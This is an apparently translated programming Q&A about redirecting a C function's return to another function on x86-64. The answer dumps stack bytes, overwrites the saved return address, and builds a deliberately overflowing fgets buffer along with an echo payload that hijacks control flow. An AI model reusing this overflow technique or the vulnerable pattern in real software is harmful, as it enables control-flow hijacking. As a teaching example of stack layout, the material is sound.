缓冲区溢出,使用GDB的堆栈指针操作

时间:2019-06-30 08:33:52

标签: c gdb

我在c语言中有一个简单的问题,可以使用GDB解决,但我无法解决。

我们有一个main()函数,该函数调用另一个函数,例如A()。当函数A()执行并返回时,而不是返回main()而是转到另一个函数,即B()。

我不知道在A()中做什么,以便返回地址会改变。

1 个答案:

答案 0 :(得分:1)

假设,OP希望强制从A()返回B()而不是从之前调用main()的地方A()返回。

我一直认为自己会发生这种情况,但从未自己尝试过。所以,我忍不住摆弄一点。

对返回的操纵几乎不可移植,因为它利用了所生成代码的事实,而这些事实可能取决于编译器版本,编译器设置,平台等等。

起初,我试图找出有关计划用于摆弄的 coliru 的一些详细信息:

#include <stdio.h>

int main()
{
  printf("sizeof (void*): %d\n", sizeof (void*));
  printf("sizeof (void*) == sizeof (void(*)()): %s\n",
    sizeof (void*) == sizeof (void(*)()) ? "yes" : "no");
  return 0;
}

输出:

gcc (GCC) 8.2.0
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

sizeof (void*): 8
sizeof (void*) == sizeof (void(*)()): yes

Live Demo on coliru

接下来,我做了一个最小的示例,以对即将生成的代码有一个印象:

源代码:

#include <stdio.h>

void B()
{
  puts("in B()");
}

void A()
{
  puts("in A()");
}

int main()
{
  puts("call A():");
  A();
  return 0;
}

使用x86-64 gcc 8.2-O0编译:

.LC0:
        .string "in B()"
B:
        push    rbp
        mov     rbp, rsp
        mov     edi, OFFSET FLAT:.LC0
        call    puts
        nop
        pop     rbp
        ret
.LC1:
        .string "in A()"
A:
        push    rbp
        mov     rbp, rsp
        mov     edi, OFFSET FLAT:.LC1
        call    puts
        nop
        pop     rbp
        ret
.LC2:
        .string "call A():"
main:
        push    rbp
        mov     rbp, rsp
        mov     edi, OFFSET FLAT:.LC2
        call    puts
        mov     eax, 0
        call    A
        mov     eax, 0
        pop     rbp
        ret

Live Explore on godbolt

在Intel x86 / x64上:

  • call在返回给定地址之前将返回地址存储在堆栈中
  • ret将返回地址从堆栈弹出到PC reg中。再次。

(其他CPU可能会有所不同。)

另外,

        push    rbp
        mov     rbp, rsp

很有趣,因为push还将一些内容存储在栈中,而rsp是具有当前栈顶地址的寄存器,而rbp是其伴侣,通常用于局部变量的相对寻址。

因此,局部变量(相对于rbp进行寻址-如果未优化)可能具有到堆栈上返回地址的固定偏移量。

因此,我在要联系的第一个示例中添加了一些代码:

#include <stdio.h>

typedef unsigned char byte;

void B()
{
  puts("in B()"); 
}

void A()
{
  puts("in A()");
  char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
  byte *pI = (byte*)buffer;
  // dump some bytes from stack
  for (int i = 0; i < 64; ++i) {
    if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
    printf(" %02x", pI[i]);
    if (i % 8 == 7) putchar('\n');
  }
}

int main()
{
  printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
  puts("call A():");
  A();
  return 0;
}

输出:

&main(): 0x400613, &A(): 0x400553, &B(): 0x400542
call A():
in A()
0x7ffcdedc9738: (+ 0) 00 de ad be ef 4a 11 00
0x7ffcdedc9740: (+ 8) 38 97 dc de fc 7f 00 00
0x7ffcdedc9748: (+16) 60 97 dc de 14 00 00 00
0x7ffcdedc9750: (+24) 60 97 dc de fc 7f 00 00
0x7ffcdedc9758: (+32) 49 06 40 00 00 00 00 00
0x7ffcdedc9760: (+40) 50 06 40 00 00 00 00 00
0x7ffcdedc9768: (+48) 30 48 4a f3 3e 7f 00 00
0x7ffcdedc9770: (+56) 00 00 00 00 00 00 00 00

Live Demo on coliru 这是我从中读到的:

0x7ffcdedc9738: (+ 0) 00 de ad be ef 4a 11 00 # local var. buffer
0x7ffcdedc9740: (+ 8) 38 97 dc de fc 7f 00 00 # local var. pI (with address of buffer)
0x7ffcdedc9748: (+16) 60 97 dc de 14 00 00 00 # local var. i (4 bytes)
0x7ffcdedc9750: (+24) 60 97 dc de fc 7f 00 00 # pushed rbp
0x7ffcdedc9758: (+32) 49 06 40 00 00 00 00 00 # 0x400649 <- Aha!

0x400649是比main()0x400613)的地址稍高的地址。考虑到在调用main()之前A()中有一些代码,这是很合理的。

因此,如果我想操纵寄信人地址,则必须在pI + 32

#include <stdio.h>
#include <stdlib.h>

typedef unsigned char byte;

void B()
{
  puts("in B()"); 
  exit(0);
}

void A()
{
  puts("in A()");
  char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
  byte *pI = (byte*)buffer;
  // dump some bytes from stack
  for (int i = 0; i < 64; ++i) {
    if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
    printf(" %02x", pI[i]);
    if (i % 8 == 7) putchar('\n');
  }
  printf("Possible candidate for ret address: %p\n", *(void**)(pI + 32));
  *(void**)(pI + 32) = (byte*)&B;
}

int main()
{
  printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
  puts("call A():");
  A();
  return 0;
}

即我将函数B()的地址作为返回地址“修补”到了堆栈中。

输出:

&main(): 0x400696, &A(): 0x4005aa, &B(): 0x400592
call A():
in A()
0x7fffe0eb0858: (+ 0) 00 de ad be ef 4a 11 00
0x7fffe0eb0860: (+ 8) 58 08 eb e0 ff 7f 00 00
0x7fffe0eb0868: (+16) 80 08 eb e0 14 00 00 00
0x7fffe0eb0870: (+24) 80 08 eb e0 ff 7f 00 00
0x7fffe0eb0878: (+32) cc 06 40 00 00 00 00 00
0x7fffe0eb0880: (+40) e0 06 40 00 00 00 00 00
0x7fffe0eb0888: (+48) 30 c8 41 84 42 7f 00 00
0x7fffe0eb0890: (+56) 00 00 00 00 00 00 00 00
Possible candidate for ret address: 0x4006cc
in B()

Live Demo on coliru

Etvoilà: in B()

代替直接分配地址,可以通过将至少40个char s的字符串存储到buffer(仅8 char s个容量)中来实现:

#include <stdio.h>
#include <stdlib.h>

typedef unsigned char byte;

void B()
{
  puts("in B()"); 
  exit(0);
}

void A()
{
  puts("in A()");
  char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
  byte *pI = (byte*)buffer;
  // dump some bytes from stack
  for (int i = 0; i < 64; ++i) {
    if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
    printf(" %02x", pI[i]);
    if (i % 8 == 7) putchar('\n');
  }
  // provoke buffer overflow vulnerability
  printf("Input: "); fflush(stdout);
  fgets(buffer, 40, stdin); // <- intentionally wrong use
  // show result
  putchar('\n');
}

int main()
{
  printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
  puts("call A():");
  A();
  return 0;
}

编译并执行:

$ gcc -std=c11 -O0 main.c
$ echo -e "                                \xa2\x06\x40\0\0\0\0\0" | ./a.out

通过键盘输入确切的字节顺序可能有点困难。复制/粘贴可能有效。我使用echo和重定向使事情保持简单。

输出:

&main(): 0x4007ba, &A(): 0x4006ba, &B(): 0x4006a2
call A():
in A()
0x7ffd1700bac8: (+ 0) 00 de ad be ef 4a 11 00
0x7ffd1700bad0: (+ 8) c8 ba 00 17 fd 7f 00 00
0x7ffd1700bad8: (+16) f0 ba 00 17 14 00 00 00
0x7ffd1700bae0: (+24) f0 ba 00 17 fd 7f 00 00
0x7ffd1700bae8: (+32) f0 07 40 00 00 00 00 00
0x7ffd1700baf0: (+40) 00 08 40 00 00 00 00 00
0x7ffd1700baf8: (+48) 30 48 37 0f 5b 7f 00 00
0x7ffd1700bb00: (+56) 00 00 00 00 00 00 00 00
Input: 
in B()

Live Demo on coliru

请注意,输入32个空格(以使返回地址"\xa2\x06\x40\0\0\0\0\0"与所需的偏移量对齐)“破坏”了A()的所有内部内容,这些内容存储在该范围内。这可能会对过程的稳定性造成致命的影响,但最终,它完整无缺,可以到达B()并将其报告给控制台。